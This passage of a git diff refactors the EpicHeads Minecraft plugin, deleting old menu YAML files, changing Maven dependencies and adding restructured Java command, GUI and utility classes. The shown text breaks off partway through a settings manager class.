- rename: 'rename' - give: 'give' - cost: 'cost' - category-cost: 'categorycost' - item-eco: 'itemeco' - id: 'id' - reload: 'reload' \ No newline at end of file diff --git a/main/resources/pre1_13/menus.yml b/main/resources/pre1_13/menus.yml deleted file mode 100644 index be5d8b9..0000000 --- a/main/resources/pre1_13/menus.yml +++ /dev/null @@ -1,289 +0,0 @@ -search-heads: - title: Head Search - head: - type: skull_item - name: '&7%name%' - lore: - - '&8%category%' - damage: 3 - head-cost: - type: skull_item - name: '&7%name%' - lore: - - '&8%category%' - - '' - - '&6Cost: &e%cost%' - damage: 3 - head-no-perms: - type: skull_item - name: '&7%name%' - lore: - - '&8%category%' - - '' - - '&cYou do not have permission' - - '&cto use this head' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Forwards a Page' - backwards: - type: arrow - name: '&7Previous Page' -get-categories: - title: Categories - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% heads' - damage: 3 -get-heads: - title: '%category%' - head: - type: skull_item - name: '&7%name%' - lore: - - '&6Cost: &e%cost%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -get-confirm: - title: Purchase Head - head: - type: skull_item - name: '&aPurchase %name% for $%cost%' - damage: 3 - accept: - type: stained_clay - name: '&aPurchase %name% for $%cost%' - damage: 5 - deny: - type: stained_clay - name: '&cCancel Purchase' - damage: 14 -id-categories: - title: Categories - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% heads' - damage: 3 -id-heads: - title: '%category%' - head: - type: skull_item - name: '&7%name%' - lore: - - '&6Id&8: &a%id%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -remove-categories: - title: Categories - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% heads' - damage: 3 -remove-heads: - title: '%category%' - head: - type: skull_item - name: '&cRemove %name%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -remove-confirm: - title: Remove Head - head: - type: skull_item - name: '&cRemove %name%' - damage: 3 - accept: - type: stained_clay - name: '&cRemove %name%' - damage: 5 - deny: - type: stained_clay - name: '&aDont remove %name%' - damage: 14 -rename-categories: - title: Categories - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% heads' - damage: 3 -rename-heads: - title: '%category%' - head: - type: skull_item - name: '&aRename %name%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -rename-confirm: - title: Rename Head - head: - type: skull_item - name: '&aRename %name% to %newname%' - damage: 3 - accept: - type: stained_clay - name: '&aRename %name% to %newname%' - damage: 5 - deny: - type: stained_clay - name: '&aDont rename %name%' - damage: 14 -cost-categories: - title: Categories - head: - type: skull_item - name: '&6%category%' - lore: - - '&e%heads% heads' - damage: 3 -cost-heads: - title: '%category%' - head: - type: skull_item - name: '&aSet cost of %name%' - damage: 3 - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - back: - type: redstone_block - name: '&cBack to Main Menu' - forwards: - type: arrow - name: '&7Next Page' - backwards: - type: arrow - name: '&7Previous Page' -cost-confirm: - title: Set cost of Head - head: - type: skull_item - name: '&aSet cost of %name%' - lore: - - '&7to &6%newcost%' - damage: 3 - accept: - type: stained_clay - name: '&aSet cost of %name%' - lore: - - '&7to &6%newcost%' - damage: 5 - deny: - type: stained_clay - name: '&aDont set cost of %name%' - damage: 14 -category-cost-categories: - title: Categories - head: - type: skull_item - name: '&7Set cost of &6%category%' - lore: - - '&e%heads% heads' - damage: 3 -category-cost-confirm: - title: Set cost for Category - head: - type: skull_item - name: '&aSet cost of %category%' - lore: - - '&7to &6%newcost%' - damage: 3 - accept: - type: stained_clay - name: '&aSet cost of %category%' - lore: - - '&7to &6%newcost%' - damage: 5 - deny: - type: stained_clay - name: '&aDont set cost of %category%' - damage: 14 -category-cost-remove-categories: - title: Categories - head: - type: skull_item - name: '&7Reset cost of &6%category%' - lore: - - '&e%heads% heads' - damage: 3 -category-cost-remove-confirm: - title: Set cost for Category - head: - type: skull_item - name: '&aReset cost of %category%' - lore: - - '&7to &6%newcost%' - damage: 3 - accept: - type: stained_clay - name: '&aReset cost of %category%' - lore: - - '&7to &6%newcost%' - damage: 5 - deny: - type: stained_clay - name: '&aDont reset cost of %category%' - damage: 14 diff --git a/main/resources/pre1_13/menus/browse.yml b/main/resources/pre1_13/menus/browse.yml deleted file mode 100644 index 433b39f..0000000 --- a/main/resources/pre1_13/menus/browse.yml +++ /dev/null @@ -1,68 +0,0 @@ -menu: - categories-title: Categories - category-title: '%category%' - close: - type: redstone_block - name: '&cClose Menu' - back: - type: redstone_block - name: '&cBack to Categories' - search: - type: compass - name: '&7Search Heads' - categories: - category: - type: skull_item - name: '&7%category%' - lore: - - '&6%heads% &eheads' - damage: 3 - unselected-page: - type: paper - name: '&7Page %page%' - selected-page: - type: empty_map - name: '&7Page %page%' - scrollbar: - left: - type: arrow - name: '&7Left' - right: - type: arrow - name: '&7Right' - no-left: - type: air - no-right: - type: air - filler: - type: stained_glass_pane - name: ' ' - damage: 15 - heads: - head: - type: skull_item - name: '&7%name%' - lore: - - '&eCost: &6%cost%' - damage: 3 - unselected-page: - type: paper - name: '&7Page %page%' - selected-page: - type: empty_map - name: '&7Page %page%' - scrollbar: - left: - type: arrow - name: '&7Left' - right: - type: arrow - name: '&7Right' - no-left: - type: air - no-right: - type: air - filler: - type: stained_glass_pane - name: ' ' - damage: 15 diff --git a/pom.xml b/pom.xml index 4875a62..579cabb 100644 --- a/pom.xml +++ b/pom.xml @@ -2,46 +2,54 @@ com.songoda EpicHeads 4.0.0 - 2.3.3 + maven-version-number - clean package + clean install + EpicHeads-${project.version} - - - - - - - - - - - - - - - - - - - - 3.6.1 org.apache.maven.plugins maven-compiler-plugin + 3.8.0 1.8 1.8 + + org.apache.maven.plugins + maven-shade-plugin + 3.1.0 + + + shaded + package + + shade + + + false + false + + + com.songoda:songodaupdater + + + + + *:* + + META-INF/*.SF + META-INF/*.DSA + META-INF/*.RSA + + + + + + + - - - main/resources - false - - - main/java @@ -53,22 +61,12 @@ org.spigotmc spigot - 1.14-pre5-2 + 1.14 - net.milkbowl - vault - 1.7.1 - - - org.black_ixx - playerpoints - 2.1.4 - - - net.sothatsit - blockstore - 1.5.0 + com.songoda + songodaupdater + 1 diff --git a/src/main/java/com/songoda/epicheads/EpicHeads.java b/src/main/java/com/songoda/epicheads/EpicHeads.java new file mode 100644 index 0000000..e607ecd --- /dev/null +++ b/src/main/java/com/songoda/epicheads/EpicHeads.java @@ -0,0 +1,109 @@ +package com.songoda.epicheads; + +import com.songoda.epicheads.command.CommandManager; +import com.songoda.epicheads.utils.Methods; +import com.songoda.epicheads.utils.ServerVersion; +import com.songoda.epicheads.utils.SettingsManager; +import com.songoda.epicheads.utils.updateModules.LocaleModule; +import com.songoda.update.Plugin; +import com.songoda.update.SongodaUpdate; +import org.apache.commons.lang.ArrayUtils; +import org.bukkit.Bukkit; +import org.bukkit.command.CommandSender; +import org.bukkit.plugin.java.JavaPlugin; + +public class EpicHeads extends JavaPlugin { + private static CommandSender console = Bukkit.getConsoleSender(); + private static EpicHeads INSTANCE; + private References references; + + private ServerVersion serverVersion = ServerVersion.fromPackageName(Bukkit.getServer().getClass().getPackage().getName()); + + private SettingsManager settingsManager; + private CommandManager commandManager; + + private Locale locale; + + public static EpicHeads getInstance() { + return INSTANCE; + } + + @Override + public void onEnable() { + INSTANCE = this; + + console.sendMessage(Methods.formatText("&a=============================")); + console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Songoda <3!")); + console.sendMessage(Methods.formatText("&7Action: &aEnabling&7...")); + + this.settingsManager = new SettingsManager(this); + this.setupConfig(); + + // Setup language + String langMode = SettingsManager.Setting.LANGUGE_MODE.getString(); + Locale.init(this); + Locale.saveDefaultLocale("en_US"); + this.locale = Locale.getLocale(getConfig().getString("System.Language Mode", langMode)); + + //Running Songoda Updater + Plugin plugin = new Plugin(this, 26); + plugin.addModule(new LocaleModule()); + SongodaUpdate.load(plugin); + + this.references = new References(); + + // Setup Managers + this.commandManager = new CommandManager(this); + + console.sendMessage(Methods.formatText("&a=============================")); + } + + @Override + public void onDisable() { + console.sendMessage(Methods.formatText("&a=============================")); + console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Songoda <3!")); + console.sendMessage(Methods.formatText("&7Action: &cDisabling&7...")); + console.sendMessage(Methods.formatText("&a=============================")); + } + + public ServerVersion getServerVersion() { + return serverVersion; + } + + public boolean isServerVersion(ServerVersion version) { + return serverVersion == version; + } + public boolean isServerVersion(ServerVersion... versions) { + return ArrayUtils.contains(versions, serverVersion); + } + + public boolean isServerVersionAtLeast(ServerVersion version) { + return serverVersion.ordinal() >= version.ordinal(); + } + + private void setupConfig() { + settingsManager.updateSettings(); + this.getConfig().options().copyDefaults(true); + this.saveConfig(); + } + + public void reload() { + locale.reloadMessages(); + references = new References(); + this.setupConfig(); + saveConfig(); + } + + public Locale getLocale() { + return locale; + } + + public References getReferences() { + return references; + } + + public CommandManager getCommandManager() { + return commandManager; + } + +} diff --git a/main/java/com/songoda/epicheads/Locale.java b/src/main/java/com/songoda/epicheads/Locale.java similarity index 96% rename from main/java/com/songoda/epicheads/Locale.java rename to src/main/java/com/songoda/epicheads/Locale.java index 9681aa3..598f8c1 100644 --- a/main/java/com/songoda/epicheads/Locale.java +++ b/src/main/java/com/songoda/epicheads/Locale.java @@ -3,7 +3,6 @@ package com.songoda.epicheads; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableMap; import com.google.common.collect.Lists; -import org.bukkit.Bukkit; import org.bukkit.ChatColor; import org.bukkit.plugin.java.JavaPlugin; @@ -24,7 +23,7 @@ import java.util.stream.Collectors; public class Locale { private static final List LOCALES = Lists.newArrayList(); - private static final Pattern NODE_PATTERN = Pattern.compile("(\\w+(?:\\.\\w+)*)\\s*=\\s*\"(.*)\""); + private static final Pattern NODE_PATTERN = Pattern.compile("(\\w+(?:\\.{1}\\w+)*)\\s*=\\s*\"(.*)\""); private static final String FILE_EXTENSION = ".lang"; private static JavaPlugin plugin; private static File localeFolder; @@ -48,7 +47,7 @@ public class Locale { if (this.reloadMessages()) return; - Bukkit.getConsoleSender().sendMessage("Loaded locale " + fileName); + plugin.getLogger().info("Loaded locale " + fileName); } /** @@ -74,9 +73,7 @@ public class Locale { * Find all .lang file locales under the "locales" folder */ public static void searchForLocales() { - if (!localeFolder.exists()) { - localeFolder.mkdirs(); - } + if (!localeFolder.exists()) localeFolder.mkdirs(); for (File file : localeFolder.listFiles()) { String name = file.getName(); @@ -89,7 +86,7 @@ public class Locale { if (localeExists(localeValues[0] + "_" + localeValues[1])) continue; LOCALES.add(new Locale(localeValues[0], localeValues[1])); - Bukkit.getConsoleSender().sendMessage("Found and loaded locale \"" + fileName + "\""); + plugin.getLogger().info("Found and loaded locale \"" + fileName + "\""); } } @@ -317,7 +314,7 @@ public class Locale { public String getMessage(String node, Object... args) { String message = getMessage(node); for (Object arg : args) { - message = message.replaceFirst("%.*?%", arg.toString()); + message = message.replaceFirst("\\%.*?\\%", arg.toString()); } return message; } @@ -375,7 +372,4 @@ public class Locale { return true; } - public String getPrefix() { - return getMessage("general.nametag.prefix") + " "; - } } \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/References.java b/src/main/java/com/songoda/epicheads/References.java similarity index 99% rename from main/java/com/songoda/epicheads/References.java rename to src/main/java/com/songoda/epicheads/References.java index 69fc650..a2ab48b 100644 --- a/main/java/com/songoda/epicheads/References.java +++ b/src/main/java/com/songoda/epicheads/References.java @@ -11,4 +11,4 @@ public class References { public String getPrefix() { return this.prefix; } -} \ No newline at end of file +} diff --git a/src/main/java/com/songoda/epicheads/command/AbstractCommand.java b/src/main/java/com/songoda/epicheads/command/AbstractCommand.java new file mode 100644 index 0000000..2f43194 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/command/AbstractCommand.java @@ -0,0 +1,71 @@ +package com.songoda.epicheads.command; + +import com.songoda.epicheads.EpicHeads; +import org.bukkit.command.CommandSender; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +public abstract class AbstractCommand { + + private final boolean noConsole; + private AbstractCommand parent = null; + private boolean hasArgs = false; + private String command; + + private List subCommand = new ArrayList<>(); + + protected AbstractCommand(AbstractCommand parent, boolean noConsole, String... command) { + if (parent != null) { + this.subCommand = Arrays.asList(command); + } else { + this.command = Arrays.asList(command).get(0); + } + this.parent = parent; + this.noConsole = noConsole; + } + + protected AbstractCommand(boolean noConsole, boolean hasArgs, String... command) { + this.command = Arrays.asList(command).get(0); + + this.hasArgs = hasArgs; + this.noConsole = noConsole; + } + + public AbstractCommand getParent() { + return parent; + } + + public String getCommand() { + return command; + } + + public List getSubCommand() { + return subCommand; + } + + public void addSubCommand(String command) { + subCommand.add(command); + } + + protected abstract ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args); + + protected abstract List onTab(EpicHeads instance, CommandSender sender, String... args); + + public abstract String getPermissionNode(); + + public abstract String getSyntax(); + + public abstract String getDescription(); + + public boolean hasArgs() { + return hasArgs; + } + + public boolean isNoConsole() { + return noConsole; + } + + public enum ReturnType {SUCCESS, FAILURE, SYNTAX_ERROR} +} diff --git a/main/java/com/songoda/epicheads/command/CommandManager.java b/src/main/java/com/songoda/epicheads/command/CommandManager.java similarity index 51% rename from main/java/com/songoda/epicheads/command/CommandManager.java rename to src/main/java/com/songoda/epicheads/command/CommandManager.java index 5bcf3e4..53f3137 100644 --- a/main/java/com/songoda/epicheads/command/CommandManager.java +++ b/src/main/java/com/songoda/epicheads/command/CommandManager.java @@ -1,8 +1,8 @@ package com.songoda.epicheads.command; import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.commands.*; -import com.songoda.epicheads.util.Methods; +import com.songoda.epicheads.command.commands.CommandEpicHeads; +import com.songoda.epicheads.utils.Methods; import org.bukkit.command.Command; import org.bukkit.command.CommandExecutor; import org.bukkit.command.CommandSender; @@ -15,30 +15,26 @@ import java.util.List; public class CommandManager implements CommandExecutor { private EpicHeads instance; + private TabManager tabManager; private List commands = new ArrayList<>(); public CommandManager(EpicHeads instance) { this.instance = instance; + this.tabManager = new TabManager(this); instance.getCommand("EpicHeads").setExecutor(this); - AbstractCommand commandEpicHeads = addCommand(new CommandOpenMenu()); - + AbstractCommand commandEpicHeads = addCommand(new CommandEpicHeads()); +/* + addCommand(new CommandSettings(commandEpicHeads)); addCommand(new CommandHelp(commandEpicHeads)); - addCommand(new CommandReload(commandEpicHeads)); - addCommand(new CommandAdd(commandEpicHeads)); - addCommand(new CommandGive(commandEpicHeads)); - addCommand(new CommandCost(commandEpicHeads)); - addCommand(new CommandId(commandEpicHeads)); - addCommand(new CommandSearch(commandEpicHeads)); - addCommand(new CommandHand(commandEpicHeads)); - addCommand(new CommandItemEco(commandEpicHeads)); - addCommand(new CommandRandom(commandEpicHeads)); - addCommand(new CommandRemove(commandEpicHeads)); - addCommand(new CommandRename(commandEpicHeads)); - addCommand(new CommandGet(commandEpicHeads)); - addCommand(new CommandCategoryCost(commandEpicHeads)); + addCommand(new CommandReload(commandEpicHeads)); */ + + for (AbstractCommand abstractCommand : commands) { + if (abstractCommand.getParent() != null) continue; + instance.getCommand(abstractCommand.getCommand()).setTabCompleter(tabManager); + } } private AbstractCommand addCommand(AbstractCommand abstractCommand) { @@ -49,38 +45,37 @@ public class CommandManager implements CommandExecutor { @Override public boolean onCommand(CommandSender commandSender, Command command, String s, String[] strings) { for (AbstractCommand abstractCommand : commands) { - if (abstractCommand.getCommand().equalsIgnoreCase(command.getName())) { - if (strings.length == 0) { + if (abstractCommand.getCommand() != null && abstractCommand.getCommand().equalsIgnoreCase(command.getName().toLowerCase())) { + if (strings.length == 0 || abstractCommand.hasArgs()) { processRequirements(abstractCommand, commandSender, strings); return true; } } else if (strings.length != 0 && abstractCommand.getParent() != null && abstractCommand.getParent().getCommand().equalsIgnoreCase(command.getName())) { String cmd = strings[0]; - if (cmd.equalsIgnoreCase(abstractCommand.getCommand())) { - processRequirements(abstractCommand, commandSender, strings); - return true; + String cmd2 = strings.length >= 2 ? String.join(" ", strings[0], strings[1]) : null; + for (String cmds : abstractCommand.getSubCommand()) { + if (cmd.equalsIgnoreCase(cmds) || (cmd2 != null && cmd2.equalsIgnoreCase(cmds))) { + processRequirements(abstractCommand, commandSender, strings); + return true; + } } } } - commandSender.sendMessage(instance.getReferences().getPrefix() + Methods.formatText(instance.getLocale().getMessage("command.error.notexist"))); + commandSender.sendMessage(instance.getReferences().getPrefix() + Methods.formatText("&7The commands you entered does not exist or is spelt incorrectly.")); return true; } private void processRequirements(AbstractCommand command, CommandSender sender, String[] strings) { - if (!(sender instanceof Player) && command.isNoConsole() ) { - sender.sendMessage(instance.getLocale().getMessage("command.error.noconsole")); + if (!(sender instanceof Player) && command.isNoConsole()) { + sender.sendMessage("You must be a player to use this commands."); return; } if (command.getPermissionNode() == null || sender.hasPermission(command.getPermissionNode())) { - AbstractCommand.ReturnType returnType = command.runCommand(instance, sender, strings); - if (returnType == AbstractCommand.ReturnType.NO_CONSOLE) { - sender.sendMessage(instance.getLocale().getMessage("command.error.noconsole")); - return; + AbstractCommand.ReturnType returnType = command.runCommand(instance, sender, strings); + if (returnType == AbstractCommand.ReturnType.SYNTAX_ERROR) { + sender.sendMessage(instance.getReferences().getPrefix() + Methods.formatText("&cInvalid Syntax!")); + sender.sendMessage(instance.getReferences().getPrefix() + Methods.formatText("&7The valid syntax is: &6" + command.getSyntax() + "&7.")); } - if (returnType == AbstractCommand.ReturnType.SYNTAX_ERROR) { - sender.sendMessage(instance.getReferences().getPrefix() + Methods.formatText("&cInvalid Syntax!")); - sender.sendMessage(instance.getReferences().getPrefix() + Methods.formatText("&7The valid syntax is: &6" + command.getSyntax() + "&7.")); - } return; } sender.sendMessage(instance.getReferences().getPrefix() + instance.getLocale().getMessage("event.general.nopermission")); diff --git a/src/main/java/com/songoda/epicheads/command/TabManager.java b/src/main/java/com/songoda/epicheads/command/TabManager.java new file mode 100644 index 0000000..99900ae --- /dev/null +++ b/src/main/java/com/songoda/epicheads/command/TabManager.java @@ -0,0 +1,63 @@ +package com.songoda.epicheads.command; + +import com.songoda.epicheads.EpicHeads; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.command.TabCompleter; + +import java.util.ArrayList; +import java.util.List; + +public class TabManager implements TabCompleter { + + private final CommandManager commandManager; + + TabManager(CommandManager commandManager) { + this.commandManager = commandManager; + } + + @Override + public List onTabComplete(CommandSender sender, Command command, String alias, String[] strings) { + for (AbstractCommand abstractCommand : commandManager.getCommands()) { + if (abstractCommand.getCommand() != null && abstractCommand.getCommand().equalsIgnoreCase(command.getName()) && !abstractCommand.hasArgs()) { + if (strings.length == 1) { + List subs = new ArrayList<>(); + for (AbstractCommand ac : commandManager.getCommands()) { + if (ac.getSubCommand() == null) continue; + subs.addAll(ac.getSubCommand()); + } + subs.removeIf(s -> !s.toLowerCase().startsWith(strings[0].toLowerCase())); + return subs; + } + } else if (strings.length != 0 + && abstractCommand.getCommand() != null + && abstractCommand.getCommand().equalsIgnoreCase(command.getName().toLowerCase())) { + String cmd = strings[0]; + String cmd2 = strings.length >= 2 ? String.join(" ", strings[0], strings[1]) : null; + if (abstractCommand.hasArgs()) { + return onCommand(abstractCommand, strings, sender); + } else { + for (String cmds : abstractCommand.getSubCommand()) { + if (cmd.equalsIgnoreCase(cmds) || (cmd2 != null && cmd2.equalsIgnoreCase(cmds))) { + return onCommand(abstractCommand, strings, sender); + } + } + } + } + } + return null; + } + + + private List onCommand(AbstractCommand abstractCommand, String[] strings, CommandSender sender) { + List list = abstractCommand.onTab(EpicHeads.getInstance(), sender, strings); + String str = strings[strings.length - 1]; + if (list != null && str != null && str.length() >= 1) { + try { + list.removeIf(s -> !s.toLowerCase().startsWith(str.toLowerCase())); + } catch (UnsupportedOperationException ignored) { + } + } + return list; + } +} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandOpenMenu.java b/src/main/java/com/songoda/epicheads/command/commands/CommandEpicHeads.java similarity index 57% rename from main/java/com/songoda/epicheads/command/commands/CommandOpenMenu.java rename to src/main/java/com/songoda/epicheads/command/commands/CommandEpicHeads.java index 901e98b..abffb1b 100644 --- a/main/java/com/songoda/epicheads/command/commands/CommandOpenMenu.java +++ b/src/main/java/com/songoda/epicheads/command/commands/CommandEpicHeads.java @@ -2,37 +2,41 @@ package com.songoda.epicheads.command.commands; import com.songoda.epicheads.EpicHeads; import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.oldmenu.mode.InvModeType; +import com.songoda.epicheads.gui.GUIOverview; import org.bukkit.command.CommandSender; import org.bukkit.entity.Player; -public class CommandOpenMenu extends AbstractCommand { +import java.util.List; - public CommandOpenMenu() { - super("EpicHeads", null, true); +public class CommandEpicHeads extends AbstractCommand { + + public CommandEpicHeads() { + super(true, false, "EpicHeads"); } @Override protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 0) return ReturnType.SYNTAX_ERROR; - - InvModeType.GET.open((Player) sender); + new GUIOverview(instance, (Player)sender); return ReturnType.SUCCESS; } + @Override + protected List onTab(EpicHeads instance, CommandSender sender, String... args) { + return null; + } @Override public String getPermissionNode() { - return "epicheads.menu"; + return null; } @Override public String getSyntax() { - return "/heads"; + return "epicheads.menu"; } @Override public String getDescription() { - return "Open the heads menu."; + return "Displays this page."; } } diff --git a/src/main/java/com/songoda/epicheads/gui/GUIOverview.java b/src/main/java/com/songoda/epicheads/gui/GUIOverview.java new file mode 100644 index 0000000..3e31920 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/gui/GUIOverview.java @@ -0,0 +1,32 @@ +package com.songoda.epicheads.gui; + +import com.songoda.epicheads.EpicHeads; +import com.songoda.epicheads.utils.gui.AbstractGUI; +import org.bukkit.entity.Player; + +public class GUIOverview extends AbstractGUI { + + private final EpicHeads plugin; + + public GUIOverview(EpicHeads plugin, Player player) { + super(player); + this.plugin = plugin; + + init("Heads", 54); + } + + @Override + protected void constructGUI() { + + } + + @Override + protected void registerClickables() { + + } + + @Override + protected void registerOnCloses() { + + } +} diff --git a/src/main/java/com/songoda/epicheads/utils/AbstractChatConfirm.java b/src/main/java/com/songoda/epicheads/utils/AbstractChatConfirm.java new file mode 100644 index 0000000..ca97dc7 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/AbstractChatConfirm.java @@ -0,0 +1,101 @@ +package com.songoda.epicheads.utils; + +import com.songoda.epicheads.EpicHeads; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.HandlerList; +import org.bukkit.event.Listener; +import org.bukkit.event.player.AsyncPlayerChatEvent; +import org.bukkit.plugin.java.JavaPlugin; + +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +public class AbstractChatConfirm implements Listener { + + private static final List registered = new ArrayList<>(); + + private final Player player; + private final ChatConfirmHandler handler; + + private OnClose onClose = null; + + public AbstractChatConfirm(Player player, ChatConfirmHandler hander) { + this.player = player; + this.handler = hander; + player.closeInventory(); + initializeListeners(EpicHeads.getInstance()); + registered.add(player.getUniqueId()); + } + + private Listener listener; + + public void initializeListeners(JavaPlugin plugin) { + + this.listener = new Listener() { + @EventHandler + public void onChat(AsyncPlayerChatEvent event) { + Player player = event.getPlayer(); + if (!AbstractChatConfirm.isRegistered(player)) return; + + AbstractChatConfirm.unregister(player); + event.setCancelled(true); + + ChatConfirmEvent chatConfirmEvent = new ChatConfirmEvent(player, event.getMessage()); + + handler.onChat(chatConfirmEvent); + + if (onClose != null) { + Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), () -> + onClose.onClose(), 0L); + } + HandlerList.unregisterAll(listener); + } + }; + + + Bukkit.getPluginManager().registerEvents(listener, EpicHeads.getInstance()); + } + + public static boolean isRegistered(Player player) { + return registered.contains(player.getUniqueId()); + } + + public static boolean unregister(Player player) { + return registered.remove(player.getUniqueId()); + } + + public interface ChatConfirmHandler { + void onChat(ChatConfirmEvent event); + } + + public void setOnClose(OnClose onClose) { + this.onClose = onClose; + } + + public interface OnClose { + void onClose(); + } + + public class ChatConfirmEvent { + + private final Player player; + private final String message; + + public ChatConfirmEvent(Player player, String message) { + this.player = player; + this.message = message; + } + + public Player getPlayer() { + return player; + } + + public String getMessage() { + return message; + } + } + +} diff --git a/src/main/java/com/songoda/epicheads/utils/Methods.java b/src/main/java/com/songoda/epicheads/utils/Methods.java new file mode 100644 index 0000000..dc8b722 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/Methods.java @@ -0,0 +1,54 @@ +package com.songoda.epicheads.utils; + +import com.songoda.epicheads.EpicHeads; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; + +public class Methods { + + public static ItemStack getGlass() { + EpicHeads instance = EpicHeads.getInstance(); + return Methods.getGlass(instance.getConfig().getBoolean("Interfaces.Replace Glass Type 1 With Rainbow Glass"), instance.getConfig().getInt("Interfaces.Glass Type 1")); + } + + public static ItemStack getBackgroundGlass(boolean type) { + EpicHeads instance = EpicHeads.getInstance(); + if (type) + return getGlass(false, instance.getConfig().getInt("Interfaces.Glass Type 2")); + else + return getGlass(false, instance.getConfig().getInt("Interfaces.Glass Type 3")); + } + + private static ItemStack getGlass(Boolean rainbow, int type) { + int randomNum = 1 + (int) (Math.random() * 6); + ItemStack glass; + if (rainbow) { + glass = new ItemStack(EpicHeads.getInstance().isServerVersionAtLeast(ServerVersion.V1_13) ? + Material.LEGACY_STAINED_GLASS_PANE : Material.valueOf("STAINED_GLASS_PANE"), 1, (short) randomNum); + } else { + glass = new ItemStack(EpicHeads.getInstance().isServerVersionAtLeast(ServerVersion.V1_13) ? + Material.LEGACY_STAINED_GLASS_PANE : Material.valueOf("STAINED_GLASS_PANE"), 1, (short) type); + } + ItemMeta glassmeta = glass.getItemMeta(); + glassmeta.setDisplayName("§l"); + glass.setItemMeta(glassmeta); + return glass; + } + + + public static String formatText(String text) { + if (text == null || text.equals("")) + return ""; + return formatText(text, false); + } + + public static String formatText(String text, boolean cap) { + if (text == null || text.equals("")) + return ""; + if (cap) + text = text.substring(0, 1).toUpperCase() + text.substring(1); + return ChatColor.translateAlternateColorCodes('&', text); + } +} diff --git a/src/main/java/com/songoda/epicheads/utils/ServerVersion.java b/src/main/java/com/songoda/epicheads/utils/ServerVersion.java new file mode 100644 index 0000000..6add908 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/ServerVersion.java @@ -0,0 +1,27 @@ +package com.songoda.epicheads.utils; + +public enum ServerVersion { + + UNKNOWN("unknown_server_version"), + V1_7("org.bukkit.craftbukkit.v1_7"), + V1_8("org.bukkit.craftbukkit.v1_8"), + V1_9("org.bukkit.craftbukkit.v1_9"), + V1_10("org.bukkit.craftbukkit.v1_10"), + V1_11("org.bukkit.craftbukkit.v1_11"), + V1_12("org.bukkit.craftbukkit.v1_12"), + V1_13("org.bukkit.craftbukkit.v1_13"), + V1_14("org.bukkit.craftbukkit.v1_14"); + + + private final String packagePrefix; + + private ServerVersion(String packagePrefix) { + this.packagePrefix = packagePrefix; + } + + public static ServerVersion fromPackageName(String packageName) { + for (ServerVersion version : values()) + if (packageName.startsWith(version.packagePrefix)) return version; + return ServerVersion.UNKNOWN; + } +} \ No newline at end of file diff --git a/src/main/java/com/songoda/epicheads/utils/SettingsManager.java b/src/main/java/com/songoda/epicheads/utils/SettingsManager.java new file mode 100644 index 0000000..076bdc5 --- /dev/null +++ b/src/main/java/com/songoda/epicheads/utils/SettingsManager.java @@ -0,0 +1,206 @@ +package com.songoda.epicheads.utils; + +import com.songoda.epicheads.EpicHeads; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.configuration.file.FileConfiguration; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.player.AsyncPlayerChatEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.*; +import java.util.regex.Pattern; + +/** + * Created by songo on 6/4/2017. + */ +public class SettingsManager implements Listener { + + private static final Pattern SETTINGS_PATTERN = Pattern.compile("(.{1,28}(?:\\s|$))|(.{0,28})", Pattern.DOTALL); + private final EpicHeads instance; + private String pluginName = "EpicHeads"; + private Map cat = new HashMap<>(); + private Map current = new HashMap<>(); + + public SettingsManager(EpicHeads plugin) { + this.instance = plugin; + Bukkit.getPluginManager().registerEvents(this, plugin); + } + + @EventHandler + public void onInventoryClick(InventoryClickEvent event) { + ItemStack clickedItem = event.getCurrentItem(); + + if (event.getInventory() != event.getWhoClicked().getOpenInventory().getTopInventory() + || clickedItem == null || !clickedItem.hasItemMeta() + || !clickedItem.getItemMeta().hasDisplayName()) { + return; + } + + if 